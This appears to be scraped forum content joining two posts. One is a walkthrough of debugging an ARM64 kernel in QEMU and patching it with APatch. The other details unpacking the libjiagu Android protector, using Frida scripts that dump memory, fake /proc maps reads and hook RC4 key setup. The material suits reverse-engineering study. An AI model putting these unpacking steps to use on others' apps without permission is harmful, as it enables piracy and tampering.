\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | init: cd . / initramfs && find . - print0|cpio - - null - ov - - format = newc|gzip - 9 >.. / build / initramfs.cpio.gz run: qemu - system - aarch64 - kernel Image - initrd build / initramfs.cpio.gz - m 1G - nographic - - append \\"earlyprintk=serail,ttyS0 console=ttyS0\\" run2: qemu - system - aarch64 - M virt - cpu cortex - a57 - smp 1 - m 1G - kernel Image - nographic - append \\"console=ttyAMA0 root=/dev/vda oops=panic panic_on_warn=1 panic=-1 ftrace_dump_on_oops=orig_cpu debug earlyprintk=serial slub_debug=UZ\\" - initrd build / initramfs.cpio.gz old: cp .. / linux - 4.15 . 2 / arch / arm64 / boot / Image . qemu - system - aarch64 - M virt - cpu cortex - a57 - smp 1 - m 1G - kernel Image - nographic - append \\"console=ttyAMA0 oops=panic panic_on_warn=1 panic=-1 ftrace_dump_on_oops=orig_cpu debug earlyprintk=serial slub_debug=UZ root=/dev/ram rdinit=/bin/sh\\" - initrd rootfs.img.gz - S - gdb tcp:: 9000 patch: qemu - system - aarch64 - M virt - cpu cortex - a57 - smp 1 - m 1G - kernel Image2 - nographic - append \\"console=ttyAMA0 oops=panic panic_on_warn=1 panic=-1 ftrace_dump_on_oops=orig_cpu debug earlyprintk=serial slub_debug=UZ root=/dev/ram rdinit=/bin/sh\\" - initrd rootfs.img.gz - S - gdb tcp:: 9000 |
1 2 3 4 5 6 7 8 9 10 11 12 13 | static const ARMInsnFixup bootloader_aarch64[] = { { 0x580000c0 }, / * ldr x0, arg ; Load the lower 32 - bits of DTB * / { 0xaa1f03e1 }, / * mov x1, xzr * / { 0xaa1f03e2 }, / * mov x2, xzr * / { 0xaa1f03e3 }, / * mov x3, xzr * / { 0x58000084 }, / * ldr x4, entry ; Load the lower 32 - bits of kernel entry * / { 0xd61f0080 }, / * br x4 ; Jump to the kernel entry point * / { 0 , FIXUP_ARGPTR_LO }, / * arg: .word @DTB Lower 32 - bits * / { 0 , FIXUP_ARGPTR_HI}, / * .word @DTB Higher 32 - bits * / { 0 , FIXUP_ENTRYPOINT_LO }, / * entry: .word @Kernel Entry Lower 32 - bits * / { 0 , FIXUP_ENTRYPOINT_HI }, / * .word @Kernel Entry Higher 32 - bits * / { 0 , FIXUP_TERMINATOR } }; |
它是针对地址处的入口点进行编译的0x40080000。
这个确切的地址来自 QEMU 虚拟设备的设计:
0x00000000 - 0x3FFFFFFF是内存映射外设的区域。使用此范围内的地址,您可以访问多个外设的寄存器来配置和控制它们,就像我们使用位于 0x09000000UART 的输出寄存器将文本字符串输出到终端一样。
0x40000000 - 0x4007FFFF是为引导加载程序保留的区域。
并且内核(或任何裸机应用程序)正在加载到地址 0x40080000。外围设备的寄存器
初始地址,即您的内核将被加载到的位置取决于引导加载程序的实现,如果您使用现有的硬件或模拟器,那么您很可能会处理现有的引导加载程序,它会将您的内核文件加载到某个预定义的地址。
2. 断点调试验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | (gdb) x / 16i 0x0000000040000000 = > 0x40000000 : ldr x0, 0x40000018 0x40000004 : mov x1, xzr 0x40000008 : mov x2, xzr 0x4000000c : mov x3, xzr 0x40000010 : ldr x4, 0x40000020 0x40000014 : br x4 0x40000018 : .inst 0x48200000 ; undefined 0x4000001c : udf #0 0x40000020 : .inst 0x40080000 ; undefined 0x40000024 : udf #0 0x40000028 : udf #0 0x4000002c : udf #0 0x40000030 : udf #0 0x40000034 : udf #0 0x40000038 : udf #0 0x4000003c : udf #0 |
https://github.com/lebr0nli/GEP (GDB必备)
https://web.mit.edu/gnu/doc/html/gdb_7.html (下断点)
内核启动后, 可以通过gdb单步调试理解其中细节
\\n1 2 3 4 5 | set disassemble - next - line on show disassemble - next - line target remote : 9000 stepi break * address |
9.1 因为内核在被执行之前还有bootloader的存在, 还记得前面qemu的bootloader实现么???
\\n内核启动后我第一步想法是第一行运行代码是什么, 在什么位置呢, 对应的参数又是什么? 我的第一步想法是汇编入口加入延时.
\\n入口延时
\\n1 2 3 4 5 6 7 8 9 | ENTRY(stext) mov x0, #0xFFFFFFFFFFF .loop: nop subs x0, x0, #1 bne .loop bl preserve_boot_args bl el2_setup / / Drop to EL1, w0 = cpu_boot_mode adrp x23, __PHYS_OFFSET |
在汇编入口加入延时调试, 方便查看地址:
\\n1 2 3 4 5 6 | (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00000000410d0004 in ?? () = > 0x00000000410d0004 : 1f 20 03 d5 nop |
qemu bootloader传入的参数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | x0 0x48200000 1210056704 x1 0x0 0 x2 0x0 0 x3 0x0 0 x4 0x40080000 1074266112 x5 0x0 0 x6 0x0 0 x7 0x0 0 x8 0x0 0 x9 0x0 0 x10 0x0 0 x11 0x0 0 x12 0x0 0 x13 0x0 0 x14 0x0 0 x15 0x0 0 x16 0x0 0 x17 0x0 0 x18 0x0 0 x19 0x0 0 x20 0x0 0 x21 0x0 0 |
前面只是自己编译内核并跑了起来, Apatch对应的APK功能包含boot.img解包并提取内核, 进行patch. 因为我们已经有了内核文件
所以可以直接命令行patch
1 2 | / data / data / me.bmax.apatch / patch # ./kptools -p -i Image -S a12345678 -k kpimg -o Image2 -K kpatch adb pull / sdcard / Download / Image2 |
Patched后再到qemu环境里面去跑起来看看吧?? 相信你一定会有所收获
\\nhttps://zhuanlan.zhihu.com/p/345232459
https://www.bilibili.com/video/BV1Kd4y1R7tV(X86,但可以借鉴busybox制作)
https://www.zhihu.com/people/nobody_know/posts
https://zhuanlan.zhihu.com/p/667525514
https://developer.arm.com/downloads/-/arm-gnu-toolchain-downloads
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n这几天想学学加固,看到了大佬的帖子
https://bbs.kanxue.com/thread-280609.htm#msg_header_h1_11
复现分析的时候发现该加固更新了部分地方,故总结了一下我的复现过程
APK界面:
\\n观察attachBaseContext类:
\\n值得注意的是attachBaseContext与onCreate类都属于Application的回调方法,会进行一些初始化操作。
\\n这里我们观察他在加载字符串的时候都使用了a.a方法,那么显然a.a方法就是就是一个解混淆的方法咯,我们还可以hook住看一下都做了些什么
\\nlet a = Java.use(\\"com.tianyu.util.a\\");\\na[\\"a\\"].overload(\'java.lang.String\').implementation = function (str) {\\n console.log(`a.a is called: str=${str}`);\\n let result = this[\\"a\\"](str);\\n console.log(`a.a result=${result}`);\\n return result;\\n};\\n\\n
在Stub最开始我们可以找到这个字符串:
\\nprivate static String b = \\"libjiagu\\";
对他交叉引用看一看
可以发现加固保会判断手机的架构,针对不同的架构加载不同的Native文件。
\\n显然我们可以发现该加固是通过Native层去释放Dex文件的,因此,我们主要分析的还是Native层的内容。
\\n这里我们主要分析arm64:
\\n可以发现该加固对于最外面的ELF做了处理,抹除了SO的导出表,如果没有导入导出表的话,这个ELF文件是如何运行的呢,那么不难发现其实加固保应该是使用了自己定义的链接器,在装载内存的时候才做相应的链接操作。
\\n首先我们先hook dlopen来查看APK加载了哪些so文件:
\\n1 2 3 4 5 6 7 8 9 10 11 | function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { console.log( \\"Load -> \\" , args[0].readCString()); }, onLeave: function () { } }) } setImmediate(hook_dlopne); |
正常来说,我们如果Hook dlopen的话,在安卓7.0之后我们需要hook的值则为\\"android_dlopen_ext\\":
\\n我们可以发现加载了libjiagu_64.so,接下来就是想办法把它dump下来了,首先我们启动APP,使用frida -U -F -l Hook.js
参数注入如下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function dump_so() { var soName = \\"libjiagu_64.so\\" ; var libSo = Process.getModuleByName(soName); var save_path = \\"/data/data/com.swdd.txjgtest/\\" + libSo.name + \\"_Dump\\" ; console.log( \\"[Base]->\\" , libSo.base); console.log( \\"[Size]->\\" , ptr(libSo.size)); var handle = new File(save_path, \\"wb\\" ); Memory.protect(ptr(libSo.base), libSo.size, \'rwx\' ); var Buffer = libSo.base.readByteArray(libSo.size); handle.write(Buffer); handle.flush(); handle.close(); console.log( \\"[DumpPath->]\\" , save_path); } setImmediate(dump_so); |
1 2 3 | [Base]-> 0x78c1443000 [Size]-> 0x27d000 [DumpPath->] /data/data/com.swdd.txjgtest/libjiagu_64.so_Dump |
这三个参数很重要,等下修复SO的时候需要使用。
\\nSoFixer:https://github.com/F8LEFT/SoFixer
\\n接下来我们需要使用SoFixer修复我们dump下来的So文件:
\\n1 | .\\\\SoFixer-Windows-64.exe -s .\\\\libjiagu_64.so_Dump -o .\\\\libjiagu_64.so_Fix -m 0x78c1443000 -d |
-m是刚刚我们脚本输出的偏移地址
\\n接下来我们要做的就是分析ELF的逻辑了:
\\n刚开始拿到这个ELF我们还无从下手,但是根据加固思路,我们可以先hook open函数,查看读取了哪些文件。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | function hookOpen() { var openPtr = Module.getExportByName( null , \'open\' ); const open = new NativeFunction(openPtr, \'int\' , [ \'pointer\' , \'int\' ]); Interceptor.replace(openPtr, new NativeCallback( function (fileNamePtr, flag) { var fileName = fileNamePtr.readCString(); if (fileName.indexOf( \'dex\' ) != -1) { console.log( \\"[Open]-> \\" , fileName); } return open(fileNamePtr, flag); }, \'int\' , [ \'pointer\' , \'int\' ])) } function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); // console.log(\\"Load -> \\", loadFileName); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook) { hookOpen(); } } }) } setImmediate(hook_dlopne); |
得到输出如下:
\\n我们发现,非常奇怪,居然没有打开与我们程序相关的dex文件,我们取消对dex的过滤,查看一下都打开了一些什么内容。
\\n多次的打开了maps文件,那么我们知道该文件包含了进程的内存映射信息,程序频繁读取是为了什么呢,其实猜测就是为了隐藏打开dex的操作,那么我们只需要重定向一下maps就可以了,hook open将打开open时如果存在扫描maps,就定向到自己的fakemaps。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | function hookOpen() { var FakeMaps = \\"/data/data/com.swdd.txjgtest/maps\\" ; var openPtr = Module.getExportByName( null , \'open\' ); const open = new NativeFunction(openPtr, \'int\' , [ \'pointer\' , \'int\' ]); var readPtr = Module.findExportByName( \\"libc.so\\" , \\"read\\" ); Interceptor.replace(openPtr, new NativeCallback( function (fileNamePtr, flag) { var FD = open(fileNamePtr, flag); var fileName = fileNamePtr.readCString(); if (fileName.indexOf( \\"maps\\" ) >= 0) { console.warn( \\"[Warning]->mapsRedirect Success\\" ); var filename = Memory.allocUtf8String(FakeMaps); return open(filename, flag); } if (fileName.indexOf( \'dex\' ) != -1) { console.log( \\"[OpenDex]-> \\" , fileName); } return FD; }, \'int\' , [ \'pointer\' , \'int\' ])) } function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); // console.log(\\"Load -> \\", loadFileName); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook) { hookOpen(); } } }) } setImmediate(hook_dlopne); |
那么我们能够发现确实使用了open去打开classes,并且实锤了是通过处理maps隐藏了内存映射,接下来我们就可以通过
\\n1 | console.log( \'RegisterNatives called from:\\\\n\' + Thread.backtrace( this .context, Backtracer.FUZZY).map(DebugSymbol.fromAddress).join( \'\\\\n\' ) + \'\\\\n\' ); |
来打印读取dex文件的Native地址。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | function hookOpen() { var FakeMaps = \\"/data/data/com.swdd.txjgtest/maps\\" ; var openPtr = Module.getExportByName( null , \'open\' ); const open = new NativeFunction(openPtr, \'int\' , [ \'pointer\' , \'int\' ]); var readPtr = Module.findExportByName( \\"libc.so\\" , \\"read\\" ); Interceptor.replace(openPtr, new NativeCallback( function (fileNamePtr, flag) { var FD = open(fileNamePtr, flag); var fileName = fileNamePtr.readCString(); if (fileName.indexOf( \\"maps\\" ) >= 0) { console.warn( \\"[Warning]->mapsRedirect Success\\" ); var filename = Memory.allocUtf8String(FakeMaps); return open(filename, flag); } if (fileName.indexOf( \'dex\' ) != -1) { console.info( \\"[OpenDex]-> \\" , fileName); console.log( \'RegisterNatives called from:\\\\n\' + Thread.backtrace( this .context, Backtracer.FUZZY).map(DebugSymbol.fromAddress).join( \'\\\\n\' ) + \'\\\\n\' ); } return FD; }, \'int\' , [ \'pointer\' , \'int\' ])) } function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); // console.log(\\"Load -> \\", loadFileName); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook) { hookOpen(); } } }) } setImmediate(hook_dlopne); |
获取到的输出如下:
\\n可以发现每次打开dex的调用栈基本一致,我们在IDA中查看这个地址。
\\n居然都未识别。
\\n翻了一下这段数据,翻到头的时候可以发现
\\n在这一段有被引用,我们跟过去看一看
\\n后缀被加了.so,然后分段加载了一些东西。这个时候基本可以猜测是在linker另一个so了。
\\n在自实现linker的时候,完成linker之后肯定是需要用dlopen去加载这个so的,那么我们hook一下dlopen验证一下我们的猜想。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { console.warn( \\"[android_dlopen_ext] -> \\" , args[0].readCString()); }, onLeave: function () { } }) } function hook_dlopne2() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"dlopen\\" ), { onEnter: function (args) { console.log( \\"[dlopen] -> \\" , args[0].readCString()); }, onLeave: function () { } }) } setImmediate(hook_dlopne2); setImmediate(hook_dlopne); |
流程说明了一切,直接实锤了自定义linker加固so,那接下来我们应该如何做呢,首先需要把另一个ELF给分离出来。
\\n自定义linker SO加固的大部分思路其实就是分离出 program header 等内容进行单独加密,然后在link的时候补充soinfo。
\\n我们使用010在之前Fix后的so里面查找ELF
\\n在e8000处我们发现了ELF头,我们使用python脚本将其分离出来:
\\n1 2 3 4 | with open ( \'libjiagu_64.so_Dump\' , \'rb\' ) as f: s = f.read() with open ( \'libjiagu_64.so\' , \'wb\' ) as f: f.write(s[ 0xe8000 ::]) |
但是program header已经被加密了,那么接下来我们需要做的就是找到在哪儿解密的。
\\n这里推荐oacia大佬的项目:https://github.com/oacia/stalker_trace_so
\\n但是在使用大佬的项目的时候,我输出的js文件显示的内容都是乱码,所以对源码做了一些修改
\\n改动点如下:
\\n接下来利用stalker_trace_so来分析程序执行流:
注意此处需要改为libjiagu_64.so
\\n接下来我们拿到如下执行流:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | call1:JNI_OnLoad call2:j_interpreter_wrap_int64_t call3:interpreter_wrap_int64_t call4:_Znwm call5:sub_13364 call6:_Znam call7:sub_10C8C call8:memset call9:sub_9988 call10:sub_DE4C call11:calloc call12:malloc call13:free call14:sub_E0B4 call15:_ZdaPv call16:sub_C3B8 call17:sub_C870 call18:sub_9538 call19:sub_9514 call20:sub_C9E0 call21:sub_C5A4 call22:sub_9674 call23:sub_15654 call24:sub_15DCC call25:sub_15E98 call26:sub_159CC call27:sub_1668C call28:sub_15A4C call29:sub_15728 call30:sub_15694 call31:sub_94B0 call32:sub_C8C8 call33:sub_CAC4 call34:sub_C810 call35:sub_906C call36:dladdr call37:strstr call38:setenv call39:_Z9__arm_a_1P7_JavaVMP7_JNIEnvPvRi call40:sub_9A08 call41:sub_954C call42:sub_103D0 call43:j__ZdlPv_1 call44:_ZdlPv call45:sub_9290 call46:sub_7BAC call47:strncpy call48:sub_5994 call49:sub_5DF8 call50:sub_4570 call51:sub_59DC call52:_ZN9__arm_c_19__arm_c_0Ev call53:sub_9F60 call54:sub_957C call55:sub_94F4 call56:sub_CC5C call57:sub_5D38 call58:sub_5E44 call59:memcpy call60:sub_5F4C call61:sub_583C call62:j__ZdlPv_3 call63:j__ZdlPv_2 call64:j__ZdlPv_0 call65:sub_9F14 call66:sub_9640 call67:sub_5894 call68:sub_58EC call69:sub_9B90 call70:sub_2F54 call71:uncompress call72:sub_C92C call73:sub_440C call74:sub_4BFC call75:sub_4C74 call76:sub_5304 call77:sub_4E4C call78:sub_5008 call79:mprotect call80:strlen call81:sub_3674 call82:dlopen call83:sub_4340 call84:sub_3A28 call85:sub_3BDC call86:sub_2F8C call87:dlsym call88:strcmp call89:sub_5668 call90:sub_4C40 call91:sub_5BF0 call92:sub_7CDC call93:sub_468C call94:sub_7E08 call95:sub_86FC call96:sub_8A84 call97:sub_7FDC call98:interpreter_wrap_int64_t_bridge call99:sub_9910 call100:sub_15944 call101:puts |
现在我们知道了控制流,然而还不够,因为自定义linker加固so,最后还是需要dlopen去手动加载的,那么我们对导入表中的dlopen进行交叉。
\\n发现只有一次掉用,我们跟踪过去看一看。
\\n全是Switch case:
http://androidxref.com/9.0.0_r3/xref/bionic/linker/linker.cpp
可以看看linker源码中的预链接部分,代码如出一折,那么此时我们就可以导入soinfo结构体了
\\n在 ida 中依次点击 View->Open subviews->Local Types ,导入结构体(点击insert)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 | //IMPORTANT //ELF64 启用该宏 #define __LP64__ 1 //ELF32 启用该宏 //#define __work_around_b_24465209__ 1 /* //https://android.googlesource.com/platform/bionic/+/master/linker/Android.bp 架构为 32 位 定义__work_around_b_24465209__宏 arch: { arm: {cflags: [\\"-D__work_around_b_24465209__\\"],}, x86: {cflags: [\\"-D__work_around_b_24465209__\\"],}, } */ //android-platform\\\\bionic\\\\libc\\\\include\\\\link.h #if defined(__LP64__) #define ElfW(type) Elf64_ ## type #else #define ElfW(type) Elf32_ ## type #endif //android-platform\\\\bionic\\\\linker\\\\linker_common_types.h // Android uses RELA for LP64. #if defined(__LP64__) #define USE_RELA 1 #endif //android-platform\\\\bionic\\\\libc\\\\kernel\\\\uapi\\\\asm-generic\\\\int-ll64.h //__signed__--\x3esigned typedef signed char __s8; typedef unsigned char __u8; typedef signed short __s16; typedef unsigned short __u16; typedef signed int __s32; typedef unsigned int __u32; typedef signed long long __s64; typedef unsigned long long __u64; //A12-src\\\\msm-google\\\\include\\\\uapi\\\\linux\\\\elf.h /* 32-bit ELF base types. */ typedef __u32 Elf32_Addr; typedef __u16 Elf32_Half; typedef __u32 Elf32_Off; typedef __s32 Elf32_Sword; typedef __u32 Elf32_Word; /* 64-bit ELF base types. */ typedef __u64 Elf64_Addr; typedef __u16 Elf64_Half; typedef __s16 Elf64_SHalf; typedef __u64 Elf64_Off; typedef __s32 Elf64_Sword; typedef __u32 Elf64_Word; typedef __u64 Elf64_Xword; typedef __s64 Elf64_Sxword; typedef struct dynamic{ Elf32_Sword d_tag; union { Elf32_Sword d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* entry tag value */ union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn; typedef struct elf32_rel { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; typedef struct elf64_rel { Elf64_Addr r_offset; /* Location at which to apply the action */ Elf64_Xword r_info; /* index and type of relocation */ } Elf64_Rel; typedef struct elf32_rela{ Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela; typedef struct elf64_rela { Elf64_Addr r_offset; /* Location at which to apply the action */ Elf64_Xword r_info; /* index and type of relocation */ Elf64_Sxword r_addend; /* Constant addend used to compute value */ } Elf64_Rela; typedef struct elf32_sym{ Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym; typedef struct elf64_sym { Elf64_Word st_name; /* Symbol name, index in string tbl */ unsigned char st_info; /* Type and binding attributes */ unsigned char st_other; /* No defined meaning, 0 */ Elf64_Half st_shndx; /* Associated section index */ Elf64_Addr st_value; /* Value of the symbol */ Elf64_Xword st_size; /* Associated symbol size */ } Elf64_Sym; #define EI_NIDENT 16 typedef struct elf32_hdr{ unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; /* Entry point */ Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr; typedef struct elf64_hdr { unsigned char e_ident[EI_NIDENT]; /* ELF \\"magic number\\" */ Elf64_Half e_type; Elf64_Half e_machine; Elf64_Word e_version; Elf64_Addr e_entry; /* Entry point virtual address */ Elf64_Off e_phoff; /* Program header table file offset */ Elf64_Off e_shoff; /* Section header table file offset */ Elf64_Word e_flags; Elf64_Half e_ehsize; Elf64_Half e_phentsize; Elf64_Half e_phnum; Elf64_Half e_shentsize; Elf64_Half e_shnum; Elf64_Half e_shstrndx; } Elf64_Ehdr; /* These constants define the permissions on sections in the program header, p_flags. */ #define PF_R 0x4 #define PF_W 0x2 #define PF_X 0x1 typedef struct elf32_phdr{ Elf32_Word p_type; Elf32_Off p_offset; Elf32_Addr p_vaddr; Elf32_Addr p_paddr; Elf32_Word p_filesz; Elf32_Word p_memsz; Elf32_Word p_flags; Elf32_Word p_align; } Elf32_Phdr; typedef struct elf64_phdr { Elf64_Word p_type; Elf64_Word p_flags; Elf64_Off p_offset; /* Segment file offset */ Elf64_Addr p_vaddr; /* Segment virtual address */ Elf64_Addr p_paddr; /* Segment physical address */ Elf64_Xword p_filesz; /* Segment size in file */ Elf64_Xword p_memsz; /* Segment size in memory */ Elf64_Xword p_align; /* Segment alignment, file & memory */ } Elf64_Phdr; typedef struct elf32_shdr { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; typedef struct elf64_shdr { Elf64_Word sh_name; /* Section name, index in string tbl */ Elf64_Word sh_type; /* Type of section */ Elf64_Xword sh_flags; /* Miscellaneous section attributes */ Elf64_Addr sh_addr; /* Section virtual addr at execution */ Elf64_Off sh_offset; /* Section file offset */ Elf64_Xword sh_size; /* Size of section in bytes */ Elf64_Word sh_link; /* Index of another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */ } Elf64_Shdr; //android-platform\\\\bionic\\\\linker\\\\linker_soinfo.h typedef void (*linker_dtor_function_t)(); typedef void (*linker_ctor_function_t)( int , char **, char **); #if defined(__work_around_b_24465209__) #define SOINFO_NAME_LEN 128 #endif struct soinfo { #if defined(__work_around_b_24465209__) char old_name_[SOINFO_NAME_LEN]; #endif const ElfW(Phdr)* phdr; size_t phnum; #if defined(__work_around_b_24465209__) ElfW(Addr) unused0; // DO NOT USE, maintained for compatibility. #endif ElfW(Addr) base; size_t size; #if defined(__work_around_b_24465209__) uint32_t unused1; // DO NOT USE, maintained for compatibility. #endif ElfW(Dyn)* dynamic; #if defined(__work_around_b_24465209__) uint32_t unused2; // DO NOT USE, maintained for compatibility uint32_t unused3; // DO NOT USE, maintained for compatibility #endif soinfo* next; uint32_t flags_; const char * strtab_; ElfW(Sym)* symtab_; size_t nbucket_; size_t nchain_; uint32_t* bucket_; uint32_t* chain_; #if !defined(__LP64__) ElfW(Addr)** unused4; // DO NOT USE, maintained for compatibility #endif #if defined(USE_RELA) ElfW(Rela)* plt_rela_; size_t plt_rela_count_; ElfW(Rela)* rela_; size_t rela_count_; #else ElfW(Rel)* plt_rel_; size_t plt_rel_count_; ElfW(Rel)* rel_; size_t rel_count_; #endif linker_ctor_function_t* preinit_array_; size_t preinit_array_count_; linker_ctor_function_t* init_array_; size_t init_array_count_; linker_dtor_function_t* fini_array_; size_t fini_array_count_; linker_ctor_function_t init_func_; linker_dtor_function_t fini_func_; /* #if defined (__arm__) // ARM EABI section used for stack unwinding. uint32_t* ARM_exidx; size_t ARM_exidx_count; #endif size_t ref_count_; // 怎么找不 link_map 这个类型的声明... link_map link_map_head; bool constructors_called; // When you read a virtual address from the ELF file, add this //value to get the corresponding address in the process\' address space. ElfW (Addr) load_bias; #if !defined (__LP64__) bool has_text_relocations; #endif bool has_DT_SYMBOLIC; */ }; |
可以发现还是不完全,证明这个soinfo是被魔改过的
\\n对其交叉,向上查看:
\\n下方还调用了一个函数,我们进去看看。
\\n发现这里的步长是0x38
\\n好巧不巧,程序头就是0x38大小,那么这个方法肯定是在加载程序头了。
\\n既然需要加载程序头,那么他肯定是需要解密之前被加密的程序头段的
加载在sub_5668调用于sub_4340又调用于sub_440C最后形成闭环
那我们只需要找sub_7BAC到sub_440C之间调用的函数就可以了。
\\n这个uncompress就及其可疑了,这是个解压缩的方法,我们稍微向上找找:
\\n就能发现我们的老熟人了
\\n妥妥一RC4,但是找不到他的初始化算法,虽然就算没有初始化算法,我们也可以通过dump他的S盒,来解密,但是总感觉怪怪的,一筹莫展之际,我们向上交叉发现了loc_571c
未识别居然,我们识别看看
\\n哟,这不是初始化算法么。
\\n我们hook他看看密钥
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | function hook_Rc4() { var module = Process.findModuleByName( \\"libjiagu_64.so\\" ); Interceptor.attach(module.base.add(0x571C), { onEnter(args) { console.log(hexdump(args[0], { offset: 0, length: 0x10, header: true , ansi: true })) }, onLeave(reval) { } }); } function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); // console.log(\\"Load -> \\", loadFileName); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook) { hook_Rc4(); } } }) } setImmediate(hook_dlopne); |
在最开始找到的这个函数中,我们可以看到加载的地址和文件大小,那么我们直接使用python读取这个大小的段进行解密
\\n最开始写一个python脚本解密的时候我们出现了如下问题
\\n显然RC4解密出问题了,我们再回去看看rc4加密部分
\\n对着其一顿还原,发现居然有魔改
\\n但是解密出来依旧不对,我们看看S盒是否一致
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | function hook_Rc4_init() { var module = Process.findModuleByName( \\"libjiagu_64.so\\" ); Interceptor.attach(module.base.add(0x58EC), { onEnter(args) { console.log(hexdump(args[2], { offset: 0, length: 0x100, header: true , ansi: true })) }, onLeave(reval) { } }); } function hook_Rc4_cry() { var module = Process.findModuleByName( \\"libjiagu_64.so\\" ); Interceptor.attach(module.base.add(0x571C), { onEnter(args) { console.log(hexdump(args[0], { offset: 0, length: 0x10, header: true , ansi: true })) }, onLeave(reval) { } }); } function hook_dlopne() { Interceptor.attach(Module.findExportByName( \\"libdl.so\\" , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var loadFileName = args[0].readCString(); // console.log(\\"Load -> \\", loadFileName); if (loadFileName.indexOf( \'libjiagu\' ) != -1) { this .is_can_hook = true ; } }, onLeave: function () { if ( this .is_can_hook) { hook_Rc4_init(); hook_Rc4_cry(); } } }) } setImmediate(hook_dlopne); |
